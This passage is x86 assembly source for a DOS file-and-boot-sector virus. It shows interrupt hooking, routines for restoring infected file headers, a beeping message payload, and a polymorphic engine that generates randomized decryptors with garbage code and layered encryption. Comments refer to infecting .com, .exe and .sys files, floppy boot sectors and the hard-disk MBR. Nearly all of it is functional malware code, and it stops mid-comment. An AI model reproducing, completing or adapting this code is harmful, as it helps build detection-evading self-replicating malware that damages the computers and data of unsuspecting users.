;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Save all registers in the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ push_all: cli pop word ptr cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push word ptr cs:[ret_off] sti ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Restore all registers from the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ pop_all: cli pop word ptr cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push word ptr cs:[ret_off] sti ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Unhook int 24h and clear dos infection switch ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ unhook_ints: push ds push dx push ax ;Clear dos running switch mov byte ptr cs:[running_sw],00h ;Restore int 24h lds dx,dword ptr cs:[old24h] mov al,24h call set_int pop ax pop dx pop ds ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform a call to dos function ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_call: pushf call dword ptr cs:[org21h] ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get position of code inserted into boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_position: push cx ;Point di to offset in buffer mov di,bx ;Get displacement mov cx,word ptr es:[bx+01h] mov al,byte ptr es:[bx] ;Check for short jump cmp al,0EBh jne check_jump ;Store 8bit displacement xor ch,ch jmp short add_offset check_jump: ;Check for near jump cmp al,0E9h jne no_displacement add_offset: inc cx inc cx add di,cx no_displacement: pop cx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Make a copy of file header ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ copy_header: ;Copy header to buffer push si push di push cx push cs pop es mov si,offset file_buffer mov di,offset old_header mov cx,file_header_size cld rep movsb pop cx pop di pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrypt header ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ decrypt_header: mov cx,file_header_size push dx pop si mov al,byte ptr cs:[si+file_header_size] restore_header: sub byte ptr cs:[si+00h],al inc si loop restore_header ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Print string while producing some beeps ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ loop_beep_string: ;Get character lodsb or al,al jnz print_that_char ret print_that_char: ;Print character mov ah,09h mov bx,0002h mov cx,0001h push si int 10h ;Produce a click call generate_beep ;Move cursor to next position mov ah,03h xor bh,bh int 10h inc dl mov ah,02h int 10h pop si jmp loop_beep_string ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a speaker beep ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ generate_beep: mov cx,0008h loop_click: push cx ;Get attention of the 8253 mov al,0B6h out 043h,al ;Sent frequency xor ax,ax dec ax out 042h,al mov al,ah out 042h,al ;Send signal to speaker in al,61h or al,03h out 061h,al ;Sound duration mov cx,0FFFFh wait_cycle: loop wait_cycle ;Clear signal in al,061h and al,0FCh out 061h,al pop cx loop loop_click ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Polymorphic engine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_encrypt: push ax push bx push cx push dx push si push di push ds push es ;Reset pointer to random data mov word ptr cs:[rnd_pointer][bp],bp try_new_generation: ;Initialize engine xor ax,ax lea di,word ptr [poly_data][bp] ;Clear last_subrotine mov word ptr cs:[di+04h],ax ;Clear decrypt_sub mov word ptr cs:[di+06h],ax ;Clear last_fill_type mov word ptr cs:[di],ax dec ax ;Clear last_step_type mov word ptr cs:[di+02h],ax ;Clear last_int_type mov byte ptr cs:[di+0Ah],al ;Clear decrypt_pointer mov byte ptr cs:[di+0Bh],al ;Get base address for memory operations mov ax,offset virus_copy add ax,word ptr cs:[file_delta][bp] mov word ptr cs:[di+12h],ax ;Choose counter and pointer register call get_rnd and al,01h mov byte ptr cs:[di+0Ch],al get_si_di_off: ;Choose displacement from / to encrypted code call get_rnd or al,al jz get_si_di_off mov byte ptr cs:[di+14h],al ;Choose type of decrypt sequence call get_rnd and al,01h mov byte ptr cs:[di+15h],al get_decrypt_reg: ;Choose register for decryption instructions call get_rnd and al,38h ;Do not use bl or bh into .sys decryptors cmp word ptr cs:[exit_address][bp],offset exit_com - \ offset host_ret je ok_decrypt_reg ;Check if it is bl cmp al,18h je get_decrypt_reg ;Check if it is bh cmp al,38h je get_decrypt_reg ok_decrypt_reg: mov byte ptr cs:[di+0Dh],al ;Choose segment registers for memory operations call get_seg_reg mov byte ptr cs:[di+0Eh],al call get_seg_reg mov byte ptr cs:[di+0Fh],al get_rnd_key: ;Get random crypt value call get_rnd or al,al jz get_rnd_key xchg bx,ax mov byte ptr cs:[clave_crypt][bp],bl ;Fill our buffer with garbage push cs pop ds mov es,word ptr cs:[poly_working_seg][bp] mov di,word ptr cs:[poly_working_off][bp] push di mov cx,decryptor cld fill_rnd_2: call get_rnd stosb loop fill_rnd_2 pop di ;Now es:di points to the buffer were engine put polymorphic code choose_type: ;Select the type of filler mov ax,(end_step_table-step_table)/02h call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_step_type][bp] je choose_type mov word ptr cs:[last_step_type][bp],ax ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get subroutine address mov ax,word ptr cs:[step_table+bx] ;Add delta offset add ax,bp ;Save return address lea bx,word ptr [step_return][bp] push bx ;Save subroutine address push ax ;This is for later operations cld ret step_return: ;Check decryptor size mov ax,di sub ax,word ptr cs:[poly_working_off][bp] cmp ax,decryptor jb check_decryptor_ready jmp try_new_generation check_decryptor_ready: ;Check if decrytor already build cmp byte ptr cs:[decrypt_pointer][bp],04h jne choose_type ;Generate some garbage call g_generator ;Generate a jump to virus body mov al,0E9h stosb mov ax,decryptor mov cx,word ptr cs:[poly_working_off][bp] dec cx dec cx mov bx,di sub bx,cx sub ax,bx stosw ;Copy virus body to the working area lea si,word ptr [virus_body][bp] mov di,word ptr cs:[poly_working_off][bp] add di,decryptor push di mov cx,inf_byte_size-decryptor cld rep movsb ;Generate second encryption layer mov ax,word ptr cs:[poly_working_off][bp] mov bl,byte ptr cs:[clave_crypt][bp] push bx add ax,second_size push es pop ds mov si,ax mov di,ax mov cx,inf_byte_size-(second_size+01h) generate_second: lodsb add al,bl stosb inc bl loop generate_second ;Generate polymorphic encryption pop bx pop di mov si,di mov cx,inf_byte_size-(decryptor+file_header_size+01h) ;Clear prefetch db 0EBh,00h load_crypt: lodsb encrypt_here: ;Encrypt instruction ( add/sub/xor al,bl ) db 00h,0C3h stosb loop load_crypt ;Restore all regs and return to infection routine pop es pop ds pop di pop si pop dx pop cx pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get a valid opcode for memory operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_seg_reg: cmp word ptr cs:[exit_address][bp],offset exit_com - \ offset host_ret je use_ds_es ;Use just cs on .sys .exe files and floppy boot and hd mbr mov al,2Eh ret use_ds_es: ;Use also ds es in .com files call get_rnd and al,18h cmp al,10h je get_seg_reg or al,26h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate next decryptor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ next_decryptor: ;Next instruction counter inc byte ptr cs:[decrypt_pointer][bp] ;Check for subroutines witch contains next decryptor instruction cmp word ptr cs:[decrypt_sub][bp],0000h je build_now ;If so build a call instruction to that subroutine call do_call_decryptor ret build_now: ;Else get next instruction to build mov bl,byte ptr cs:[decrypt_pointer][bp] ;Generate decryption instructions just into subroutines cmp bl,02h jne entry_from_sub ;No instruction was created so restore old pointer dec byte ptr cs:[decrypt_pointer][bp] ret entry_from_sub: ;Entry point if calling from decryptor subroutine building xor bh,bh add bx,bx add bx,bp ;Build instruction mov ax,word ptr cs:[instruction_table+bx] add ax,bp ;Save subroutine address push ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Load counter register ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inst_load_counter: mov al,0BEh add al,byte ptr cs:[address_register][bp] stosb ;Store size of encrypted data mov ax,inf_byte_size-(decryptor+file_header_size+01h) stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Load pointer to encrypted data ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inst_load_pointer: ;Generate garbage call g_generator ;Pointer reg determination mov al,0BFh sub al,byte ptr cs:[address_register][bp] stosb ;Store offset position of encrypted data mov bx,offset virus_body ;Add delta offset add bx,word ptr cs:[file_delta][bp] ;Include displacement mov al,byte ptr cs:[displ_si_di][bp] cbw add ax,bx stosw ;Generate garbage call g_generator ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrypt one byte from encrypted data area ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inst_decrypt_one: ;Check type of decrypt sequence cmp byte ptr cs:[decrypt_seq],00h jne decrypt_with_reg ;Decode add/sub/xor byte ptr seg:[si/di+displ],key mov ah,80h mov al,byte ptr cs:[address_seg_1][bp] stosw ;Store operation mov ax,(end_fast_table-fast_table)/02h call rand_in_range ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get opcode mov ax,word ptr cs:[fast_table+bx] mov byte ptr cs:[encrypt_here][bp],ah xor al,byte ptr cs:[address_register][bp] stosb mov al,byte ptr cs:[displ_si_di][bp] neg al mov ah,byte ptr cs:[clave_crypt][bp] stosw ret decrypt_with_reg: ;Decode a mov reg,byte ptr seg:[key] mov al,byte ptr cs:[address_seg_1][bp] mov ah,8Ah stosw mov al,byte ptr cs:[decrypt_register][bp] or al,06h stosb ;Store position of encryption key mov ax,offset clave_crypt ;Add delta offset add ax,word ptr cs:[file_delta][bp] stosw ;Decode a xor/add/sub byte ptr seg:[si/di+displ],reg mov ax,(end_decrypt_table-decrypt_table)/02h call rand_in_range ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get opcode mov ax,word ptr cs:[decrypt_table+bx] ;Write encrypt instruction mov byte ptr cs:[encrypt_here][bp],al mov al,byte ptr cs:[address_seg_2][bp] stosw mov al,byte ptr cs:[decrypt_register][bp] or al,45h xor al,byte ptr cs:[address_register][bp] mov ah,byte ptr cs:[displ_si_di][bp] neg ah stosw ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Increment pointer to encrypted zone ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inst_inc_pointer: mov al,47h sub al,byte ptr cs:[address_register][bp] stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrement counter and loop ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inst_dec_loop: ;Decode a dec reg instruction mov al,4Eh add al,byte ptr cs:[address_register][bp] stosb ;Decode a jz mov al,74h stosb push di inc di ;Generate some garbage instructions call g_generator ;Decode a jmp to loop instruction mov al,0E9h stosb mov ax,word ptr cs:[address_loop][bp] sub ax,di dec ax dec ax stosw ;Generate some garbage instructions call g_generator ;Store jz displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a push reg + garbage + pop reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_push_g_pop: ;Build a random push pop call do_push_pop ;Get pop instruction dec di mov al,byte ptr es:[di] push ax call g_generator pop ax stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a subroutine witch contains garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_subroutine: cmp word ptr cs:[last_subroutine][bp],0000h je create_routine ret create_routine: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[last_subroutine][bp],di ;Get subroutine address inc di inc di ;Generate some garbage code call g_generator ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a subroutine witch contains one decryptor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ sub_decryptor: cmp word ptr cs:[decrypt_sub][bp],0000h je ok_subroutine ret ok_subroutine: ;Do not generate the loop branch into a subroutine mov bl,byte ptr cs:[decrypt_pointer][bp] inc bl cmp bl,04h jne no_loop_sub ret no_loop_sub: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[decrypt_sub][bp],di inc di inc di push bx call g_generator pop bx call entry_from_sub call g_generator build_return: ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a call instruction to next decryptor subroutine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_call_decryptor: cmp byte ptr cs:[decrypt_pointer][bp],02h jne no_store_call ;Save position mov word ptr cs:[address_loop][bp],di no_store_call: ;Build a call to our subroutine mov al,0E8h stosb mov ax,word ptr cs:[decrypt_sub][bp] sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[decrypt_sub][bp],0000h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a call instruction to a subroutine witch some garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ